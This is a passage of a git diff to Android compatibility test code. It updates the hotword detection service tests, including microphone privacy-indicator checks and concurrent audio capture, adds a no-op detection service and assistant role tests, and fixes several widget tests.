 import android.service.voice.HotwordDetectedResult;
 import android.service.voice.HotwordDetectionService;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.util.Log;
 import android.voiceinteraction.common.Utils;
+import android.voiceinteraction.service.EventPayloadParcelable;
 import android.voiceinteraction.service.MainHotwordDetectionService;
 
 import androidx.annotation.NonNull;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.RequiresDevice;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.SystemUtil;
 
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -43,6 +69,46 @@
         extends AbstractVoiceInteractionBasicTestCase {
     static final String TAG = "HotwordDetectionServiceBasicTest";
 
+    @Rule
+    public RequiredFeatureRule REQUIRES_MIC_RULE = new RequiredFeatureRule(FEATURE_MICROPHONE);
+
+    private static final String INDICATORS_FLAG = "camera_mic_icons_enabled";
+    private static final String PRIVACY_CHIP_PKG = "com.android.systemui";
+    private static final String PRIVACY_CHIP_ID = "privacy_chip";
+    private static final Long PERMISSION_INDICATORS_NOT_PRESENT = 162547999L;
+    private static final Long CLEAR_CHIP_MS = 5000L;
+
+    private static Instrumentation sInstrumentation = InstrumentationRegistry.getInstrumentation();
+    private static UiDevice sUiDevice = UiDevice.getInstance(sInstrumentation);
+    private static PackageManager sPkgMgr = sInstrumentation.getContext().getPackageManager();
+    private static boolean wasIndicatorEnabled = false;
+
+    @BeforeClass
+    public static void enableIndicators() {
+        wasIndicatorEnabled = setIndicatorEnabledStateIfNeeded(true);
+    }
+
+    @AfterClass
+    public static void resetIndicators() {
+        if (!wasIndicatorEnabled) {
+            setIndicatorEnabledStateIfNeeded(false);
+        }
+    }
+
+    // Checks if the privacy indicators are enabled on this device. Sets the state to the parameter,
+    // And returns the original enable state (to allow this state to be reset after the test)
+    private static boolean setIndicatorEnabledStateIfNeeded(boolean shouldEnable) {
+        return SystemUtil.runWithShellPermissionIdentity(() -> {
+            boolean currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+                    INDICATORS_FLAG, shouldEnable);
+            if (currentlyEnabled != shouldEnable) {
+                DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+                        Boolean.toString(shouldEnable), false);
+            }
+            return currentlyEnabled;
+        });
+    }
+
     @Test
     public void testHotwordDetectionService_getMaxCustomInitializationStatus()
             throws Throwable {
@@ -74,49 +140,125 @@
     }
 
     @Test
+    @RequiresDevice
     public void testHotwordDetectionService_onDetectFromDsp_success()
             throws Throwable {
-        // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
-
-        verifyDetectedResult(performOnDetect(Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST));
-    }
-
-    @Test
-    public void testHotwordDetectionService_onDetectFromDsp_rejection()
-            throws Throwable {
-        // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
-        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
-                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
-
-        assertThat(performOnDetect(Utils.HOTWORD_DETECTION_SERVICE_DSP_ONREJECT_TEST))
-                .isEqualTo(MainHotwordDetectionService.REJECTED_RESULT);
-    }
-
-    @Test
-    public void testHotwordDetectionService_onDetectFromExternalSource_success()
-            throws Throwable {
+        Thread.sleep(CLEAR_CHIP_MS);
         // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
         testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
 
         verifyDetectedResult(
-                performOnDetect(Utils.HOTWORD_DETECTION_SERVICE_EXTERNAL_SOURCE_ONDETECT_TEST));
+                performAndGetDetectionResult(Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST),
+                MainHotwordDetectionService.DETECTED_RESULT);
+        verifyMicrophoneChip(true);
     }
 
     @Test
+    @RequiresDevice
+    public void testHotwordDetectionService_onDetectFromDsp_rejection()
+            throws Throwable {
+        Thread.sleep(CLEAR_CHIP_MS);
+        // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
+        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+
+        assertThat(performAndGetDetectionResult(Utils.HOTWORD_DETECTION_SERVICE_DSP_ONREJECT_TEST))
+                .isEqualTo(MainHotwordDetectionService.REJECTED_RESULT);
+        verifyMicrophoneChip(false);
+    }
+
+    @Test
+    public void testHotwordDetectionService_onDetectFromExternalSource_success()
+            throws Throwable {
+        Thread.sleep(CLEAR_CHIP_MS);
+        // Create AlwaysOnHotwordDetector and wait the HotwordDetectionService ready
+        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+
+        verifyDetectedResult(
+                performAndGetDetectionResult(
+                        Utils.HOTWORD_DETECTION_SERVICE_EXTERNAL_SOURCE_ONDETECT_TEST),
+                MainHotwordDetectionService.DETECTED_RESULT);
+        verifyMicrophoneChip(true);
+    }
+
+    @Test
+    @RequiresDevice
     public void testHotwordDetectionService_onDetectFromMic_success()
             throws Throwable {
+        Thread.sleep(CLEAR_CHIP_MS);
+        // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
+        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+
+        verifyDetectedResult(
+                performAndGetDetectionResult(Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST),
+                MainHotwordDetectionService.DETECTED_RESULT);
+        verifyMicrophoneChip(true);
+    }
+
+    @Test
+    @RequiresDevice
+    public void testHotwordDetectionService_onStopDetection()
+            throws Throwable {
         // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
         testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
 
-        verifyDetectedResult(performOnDetect(Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST));
+        // The HotwordDetectionService can't report any result after recognition is stopped. So
+        // restart it after stopping; then the service can report a special result.
+        perform(Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST);
+        perform(Utils.HOTWORD_DETECTION_SERVICE_CALL_STOP_RECOGNITION);
+        EventPayloadParcelable result =
+                (EventPayloadParcelable) performAndGetDetectionResult(
+                        Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST);
+
+        verifyDetectedResult(
+                result, MainHotwordDetectionService.DETECTED_RESULT_AFTER_STOP_DETECTION);
+    }
+
+    @Test
+    @RequiresDevice
+    public void testHotwordDetectionService_concurrentCapture() throws Throwable {
+        // Create SoftwareHotwordDetector and wait the HotwordDetectionService ready
+        testHotwordDetection(Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_RESULT_INTENT,
+                Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            AudioRecord record =
+                    new AudioRecord.Builder()
+                            .setAudioAttributes(
+                                    new AudioAttributes.Builder()
+                                            .setInternalCapturePreset(MediaRecorder.AudioSource.MIC)
+                                            .build())
+                            .setAudioFormat(
+                                    new AudioFormat.Builder()
+                                            .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                                            .build())
+                            .setBufferSizeInBytes(10240) // something large enough to not fail
+                            .build();
+            assertThat(record.getState()).isEqualTo(AudioRecord.STATE_INITIALIZED);
+
+            try {
+                record.startRecording();
+                verifyDetectedResult(
+                        performAndGetDetectionResult(
+                                Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST),
+                        MainHotwordDetectionService.DETECTED_RESULT);
+                // TODO: Test that it still works after restarting the process or killing audio
+                //  server.
+            } finally {
+                record.release();
+            }
+        });
     }
 
     @Test
@@ -137,13 +279,7 @@
         final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(mContext,
                 expectedIntent);
         receiver.register();
-
-        mActivityTestRule.getScenario().onActivity(activity -> {
-            activity.triggerHotwordDetectionServiceTest(
-                    Utils.HOTWORD_DETECTION_SERVICE_BASIC,
-                    testType);
-        });
-
+        perform(testType);
         final Intent intent = receiver.awaitForBroadcast(TIMEOUT_MS);
         receiver.unregisterQuietly();
 
@@ -152,17 +288,11 @@
     }
 
     @NonNull
-    private Parcelable performOnDetect(int testType) {
+    private Parcelable performAndGetDetectionResult(int testType) {
         final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(mContext,
                 Utils.HOTWORD_DETECTION_SERVICE_ONDETECT_RESULT_INTENT);
         receiver.register();
-
-        mActivityTestRule.getScenario().onActivity(activity -> {
-            activity.triggerHotwordDetectionServiceTest(
-                    Utils.HOTWORD_DETECTION_SERVICE_BASIC,
-                    testType);
-        });
-
+        perform(testType);
         final Intent intent = receiver.awaitForBroadcast(TIMEOUT_MS);
         receiver.unregisterQuietly();
 
@@ -172,12 +302,59 @@
         return result;
     }
 
+    private void perform(int testType) {
+        mActivityTestRule.getScenario().onActivity(
+                activity -> activity.triggerHotwordDetectionServiceTest(
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC, testType));
+    }
+
     // TODO: Implement HotwordDetectedResult#equals to override the Bundle equality check; then
     // simply check that the HotwordDetectedResults are equal.
-    private void verifyDetectedResult(Parcelable result) {
-        assertThat(result).isInstanceOf(HotwordDetectedResult.class);
-        assertThat(((HotwordDetectedResult) result).getConfidenceLevel())
-                .isEqualTo(MainHotwordDetectionService.DETECTED_RESULT.getConfidenceLevel());
+    private void verifyDetectedResult(Parcelable result, HotwordDetectedResult expected) {
+        assertThat(result).isInstanceOf(EventPayloadParcelable.class);
+        HotwordDetectedResult hotwordDetectedResult =
+                ((EventPayloadParcelable) result).mHotwordDetectedResult;
+        ParcelFileDescriptor audioStream = ((EventPayloadParcelable) result).mAudioStream;
+        assertThat(hotwordDetectedResult).isNotNull();
+        assertThat(hotwordDetectedResult.getAudioChannel()).isEqualTo(
+                expected.getAudioChannel());
+        assertThat(hotwordDetectedResult.getConfidenceLevel()).isEqualTo(
+                expected.getConfidenceLevel());
+        assertThat(hotwordDetectedResult.isHotwordDetectionPersonalized()).isEqualTo(
+                expected.isHotwordDetectionPersonalized());
+        assertThat(hotwordDetectedResult.getHotwordDurationMillis()).isEqualTo(
+                expected.getHotwordDurationMillis());
+        assertThat(hotwordDetectedResult.getHotwordOffsetMillis()).isEqualTo(
+                expected.getHotwordOffsetMillis());
+        assertThat(hotwordDetectedResult.getHotwordPhraseId()).isEqualTo(
+                expected.getHotwordPhraseId());
+        assertThat(hotwordDetectedResult.getPersonalizedScore()).isEqualTo(
+                expected.getPersonalizedScore());
+        assertThat(hotwordDetectedResult.getScore()).isEqualTo(expected.getScore());
+        assertThat(audioStream).isNull();
+    }
+
+    private void verifyMicrophoneChip(boolean shouldBePresent) throws Exception {
+        if (sPkgMgr.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+            // TODO ntmyren: test TV indicator
+        } else if (sPkgMgr.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            // TODO ntmyren: test Auto indicator
+        } else {
+            verifyMicrophoneChipHandheld(shouldBePresent);
+        }
+    }
+
+    private void verifyMicrophoneChipHandheld(boolean shouldBePresent) throws Exception {
+        // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
+        // the change is set to "false" if present.
+        if (SystemUtil.callWithShellPermissionIdentity(() -> CompatChanges.isChangeEnabled(
+                PERMISSION_INDICATORS_NOT_PRESENT, Process.SYSTEM_UID))) {
+            return;
+        }
+        // Ensure the privacy chip is present (or not)
+        final boolean chipFound = sUiDevice.wait(Until.hasObject(
+                By.res(PRIVACY_CHIP_PKG, PRIVACY_CHIP_ID)), CLEAR_CHIP_MS) == true;
+        assertEquals("chip display state", shouldBePresent, chipFound);
     }
 
     @Override
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceDefaultMethodTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceDefaultMethodTest.java
new file mode 100644
index 0000000..0aaa58b
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceDefaultMethodTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.media.AudioFormat;
+import android.os.ParcelFileDescriptor;
+import android.service.voice.AlwaysOnHotwordDetector;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class HotwordDetectionServiceDefaultMethodTest {
+
+    @Test
+    public void testHotwordDetectionService_onDetect_fromDsp()
+            throws Throwable {
+        assertThrows(UnsupportedOperationException.class,
+                () -> new NoOpHotwordDetectionService().onDetect(
+                        mock(AlwaysOnHotwordDetector.EventPayload.class),
+                        /* timeoutMillis= */ 1000,
+                        /* callback= */ null));
+    }
+
+    @Test
+    public void testHotwordDetectionService_onDetect_fromExternalSource()
+            throws Throwable {
+        assertThrows(UnsupportedOperationException.class,
+                () -> new NoOpHotwordDetectionService().onDetect(
+                        mock(ParcelFileDescriptor.class),
+                        new AudioFormat.Builder().build(),
+                        /* options= */ null,
+                        /* callback= */ null));
+    }
+
+    @Test
+    public void testHotwordDetectionService_onDetect_fromMic()
+            throws Throwable {
+        assertThrows(UnsupportedOperationException.class,
+                () -> new NoOpHotwordDetectionService().onDetect(/* callback= */ null));
+    }
+}
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordRejectedResultTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordRejectedResultTest.java
index af29e34..b0f3dc5 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordRejectedResultTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordRejectedResultTest.java
@@ -39,7 +39,7 @@
     }
 
     @Test
-    public void testHotwordDetectedResultParcelizeDeparcelize() throws Exception {
+    public void testHotwordRejectedResultParcelizeDeparcelize() throws Exception {
         final HotwordRejectedResult hotwordRejectedResult =
                 buildHotwordRejectedResult(HotwordRejectedResult.CONFIDENCE_LEVEL_LOW);
 
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/NoOpHotwordDetectionService.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/NoOpHotwordDetectionService.java
new file mode 100644
index 0000000..fead7db
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/NoOpHotwordDetectionService.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts;
+
+import android.media.AudioFormat;
+import android.os.ParcelFileDescriptor;
+import android.os.PersistableBundle;
+import android.os.SharedMemory;
+import android.service.voice.AlwaysOnHotwordDetector;
+import android.service.voice.HotwordDetectionService;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.function.IntConsumer;
+
+/**
+ * {@link HotwordDetectionService} implementation that just calls its super methods.
+ */
+public class NoOpHotwordDetectionService extends HotwordDetectionService {
+
+    @Override
+    public void onDetect(
+            @NonNull AlwaysOnHotwordDetector.EventPayload eventPayload,
+            long timeoutMillis,
+            @NonNull Callback callback) {
+        super.onDetect(eventPayload, timeoutMillis, callback);
+    }
+
+    @Override
+    public void onDetect(
+            @NonNull ParcelFileDescriptor audioStream,
+            @NonNull AudioFormat audioFormat,
+            @Nullable PersistableBundle options,
+            @NonNull Callback callback) {
+        super.onDetect(audioStream, audioFormat, options, callback);
+    }
+
+    @Override
+    public void onDetect(@NonNull Callback callback) {
+        super.onDetect(callback);
+    }
+
+    @Override
+    public void onStopDetection() {
+        super.onStopDetection();
+    }
+
+    @Override
+    public void onUpdateState(
+            @Nullable PersistableBundle options,
+            @Nullable SharedMemory sharedMemory,
+            long callbackTimeoutMillis,
+            @Nullable IntConsumer statusCallback) {
+        super.onUpdateState(options, sharedMemory, callbackTimeoutMillis, statusCallback);
+    }
+}
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java
new file mode 100644
index 0000000..192e97f
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionRoleTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.role.RoleManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+/**
+ * Tests for successfully changing ROLE_ASSISTANT. The test focuses on changing ROLE_ASSISTANT role,
+ * the target voice interaction services do nothing during the test.
+ */
+@AppModeFull(reason = "No need for testing role for instant app")
+@RunWith(AndroidJUnit4.class)
+public class VoiceInteractionRoleTest {
+
+    private static final String TAG = "VoiceInteractionRoleTest";
+
+    private static final long TIMEOUT_MILLIS = 15 * 1000;
+    private static final String VOICE_INTERACTION_HAS_RECOGNITION_SERVICE =
+            "android.voiceinteraction.service";
+    private static final String VOICE_INTERACTION_NO_RECOGNITION_SERVICE =
+            "android.voiceinteraction.norecognition";
+
+    private static Context sContext;
+    private static RoleManager sRoleManager;
+
+    List<String> mOriginalRoleHolders;
+
+    @BeforeClass
+    public static void oneTimeSetup() {
+        sContext = ApplicationProvider.getApplicationContext();
+        sRoleManager = sContext.getSystemService(RoleManager.class);
+    }
+
+    @Before
+    public void setup() throws Exception {
+        mOriginalRoleHolders = getAssistRoleHolders();
+    }
+
+    @After
+    public void cleanup() throws Exception {
+        if (mOriginalRoleHolders != null && mOriginalRoleHolders.size() > 0) {
+            // Restore to original, assistant is singleton role
+            addAssistRoleHolder(mOriginalRoleHolders.get(0));
+        }
+    }
+
+    @Test
+    public void testAssistRole_hasRecognitionService() throws Exception {
+        roleTestingForPackage(VOICE_INTERACTION_HAS_RECOGNITION_SERVICE, /* hasRecognition= */
+                true);
+    }
+
+    @Test
+    public void testAssistRole_noRecognitionService() throws Exception {
+        roleTestingForPackage(VOICE_INTERACTION_NO_RECOGNITION_SERVICE, /* hasRecognition= */
+                false);
+    }
+
+    // TODO: Use helpers and move the assertion in Test instead of move together
+    private void roleTestingForPackage(String packageName, boolean hasRecognition)
+            throws Exception {
+        assertThat(getAssistRoleHolders()).doesNotContain(packageName);
+
+        addAssistRoleHolder(packageName);
+        if (mOriginalRoleHolders != null && mOriginalRoleHolders.size() > 0) {
+            String originalHolder = mOriginalRoleHolders.get(0);
+            removeAssistRoleHolder(originalHolder);
+            assertThat(getAssistRoleHolders()).doesNotContain(originalHolder);
+        }
+        assertThat(getAssistRoleHolders()).containsExactly(packageName);
+
+        final String curVoiceInteractionComponentName = Settings.Secure.getString(
+                sContext.getContentResolver(),
+                Settings.Secure.VOICE_INTERACTION_SERVICE);
+        String curVoiceInteractionPackageName = "";
+        if (!TextUtils.isEmpty(curVoiceInteractionComponentName)) {
+            curVoiceInteractionPackageName =
+                    ComponentName.unflattenFromString(
+                            curVoiceInteractionComponentName).getPackageName();
+        }
+        assertThat(curVoiceInteractionPackageName).isEqualTo(hasRecognition ? packageName : "");
+
+        removeAssistRoleHolder(packageName);
+        assertThat(getAssistRoleHolders()).doesNotContain(packageName);
+    }
+
+    private List<String> getAssistRoleHolders() throws Exception {
+        return callWithShellPermissionIdentity(
+                () -> sRoleManager.getRoleHolders(RoleManager.ROLE_ASSISTANT));
+    }
+
+    private void addAssistRoleHolder(String packageName)
+            throws Exception {
+        Log.i(TAG, "addAssistRoleHolder for " + packageName);
+        final CallbackFuture future = new CallbackFuture("addAssistRoleHolder");
+        runWithShellPermissionIdentity(() -> {
+            sRoleManager.addRoleHolderAsUser(RoleManager.ROLE_ASSISTANT, packageName,
+                    RoleManager.MANAGE_HOLDERS_FLAG_DONT_KILL_APP, Process.myUserHandle(),
+                    sContext.getMainExecutor(), future);
+        });
+        assertThat(future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+    }
+
+    private void removeAssistRoleHolder(String packageName)
+            throws Exception {
+        Log.i(TAG, "removeAssistRoleHolder for " + packageName);
+        final CallbackFuture future = new CallbackFuture("removeAssistRoleHolder");
+        runWithShellPermissionIdentity(
+                () -> sRoleManager.removeRoleHolderAsUser(RoleManager.ROLE_ASSISTANT, packageName,
+                        0, Process.myUserHandle(), sContext.getMainExecutor(), future));
+        assertThat(future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+    }
+
+    private static class CallbackFuture extends CompletableFuture<Boolean>
+            implements Consumer<Boolean> {
+        String mMethodName;
+
+        CallbackFuture(String methodName) {
+            mMethodName = methodName;
+        }
+
+        @Override
+        public void accept(Boolean successful) {
+            Log.i(TAG, mMethodName + " result " + successful);
+            complete(successful);
+        }
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
index 14c74cf..ad351a7 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
@@ -21,11 +21,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertThrows;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.app.Activity;
 import android.app.Instrumentation;
@@ -63,6 +63,9 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class RemoteViewsFixedCollectionAdapterTest {
@@ -340,10 +343,9 @@
         // View being checked to false should launch the intent.
         mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mActivity, mView));
         mActivityRule.runOnUiThread(() -> checkBox2.setChecked(false));
-        mInstrumentation.waitForIdleSync();
-        assertNotNull(receiver.mIntent);
-        assertFalse(receiver.mIntent.getBooleanExtra(RemoteViews.EXTRA_CHECKED, true));
-        assertEquals(42, receiver.mIntent.getIntExtra("my-extra", 0));
+        Intent checkChangeIntent = receiver.awaitIntent();
+        assertFalse(checkChangeIntent.getBooleanExtra(RemoteViews.EXTRA_CHECKED, true));
+        assertEquals(42, checkChangeIntent.getIntExtra("my-extra", 0));
     }
 
     @Test
@@ -381,9 +383,8 @@
                 () -> mRemoteViews.reapply(mActivity, mView), true);
 
         mActivityRule.runOnUiThread(() -> listView.performItemClick(listView.getChildAt(0), 0, 10));
-        mInstrumentation.waitForIdleSync();
-        assertNotNull(receiver.mIntent);
-        assertEquals(42, receiver.mIntent.getIntExtra("my-extra", 0));
+        Intent itemClickIntent = receiver.awaitIntent();
+        assertEquals(42, itemClickIntent.getIntExtra("my-extra", 0));
     }
 
     @Test
@@ -626,10 +627,42 @@
     private static final class MockBroadcastReceiver extends BroadcastReceiver {
 
         Intent mIntent;
+        private CountDownLatch mCountDownLatch;
 
         @Override
-        public void onReceive(Context context, Intent intent) {
+        public synchronized void onReceive(Context context, Intent intent) {
             mIntent = intent;
+            if (mCountDownLatch != null) {
+                mCountDownLatch.countDown();
+                mCountDownLatch = null;
+            }
+        }
+
+        /** Waits for an intent to be received and returns it. */
+        public Intent awaitIntent() {
+            CountDownLatch countDownLatch;
+            synchronized (this) {
+                // If we already have an intent, don't wait and just return it now.
+                if (mIntent != null) return mIntent;
+
+                countDownLatch = new CountDownLatch(1);
+                mCountDownLatch = countDownLatch;
+            }
+
+            try {
+                // Note: if the latch already counted down, this will return true immediately.
+                countDownLatch.await(20, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+
+            synchronized (this) {
+                if (mIntent == null) {
+                    fail("Expected to receive a broadcast within 20 seconds");
+                }
+
+                return mIntent;
+            }
         }
     }
 
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 26c59ff..c24510a 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -4971,6 +4971,11 @@
     public void testSetLineHeight() {
         mTextView = new TextView(mActivity);
         mTextView.setText("This is some random text");
+
+        // The line height of RobotoFont is (1900 + 500) / 2048 em.
+        // Not to accidentally divide the line height into half, use the small text size.
+        mTextView.setTextSize(10f);
+
         final float lineSpacingExtra = 50;
         final float lineSpacingMultiplier = 0.2f;
         mTextView.setLineSpacing(lineSpacingExtra, lineSpacingMultiplier);
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 642e558..64a5cf3 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -17,7 +17,6 @@
 package android.widget.cts;
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -862,12 +861,11 @@
                 ACTION_TRANSLUCENT_ACTIVITY_RESUMED);
         Intent intent = new Intent();
         intent.setComponent(COMPONENT_TRANSLUCENT_ACTIVITY);
-        intent.setFlags(FLAG_ACTIVITY_NEW_TASK);
         // Launch the translucent activity in fullscreen to ensure the test activity won't resume
         // even on the freeform-first multi-window device.
         final ActivityOptions options = ActivityOptions.makeBasic();
         options.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
-        mContext.startActivity(intent, options.toBundle());
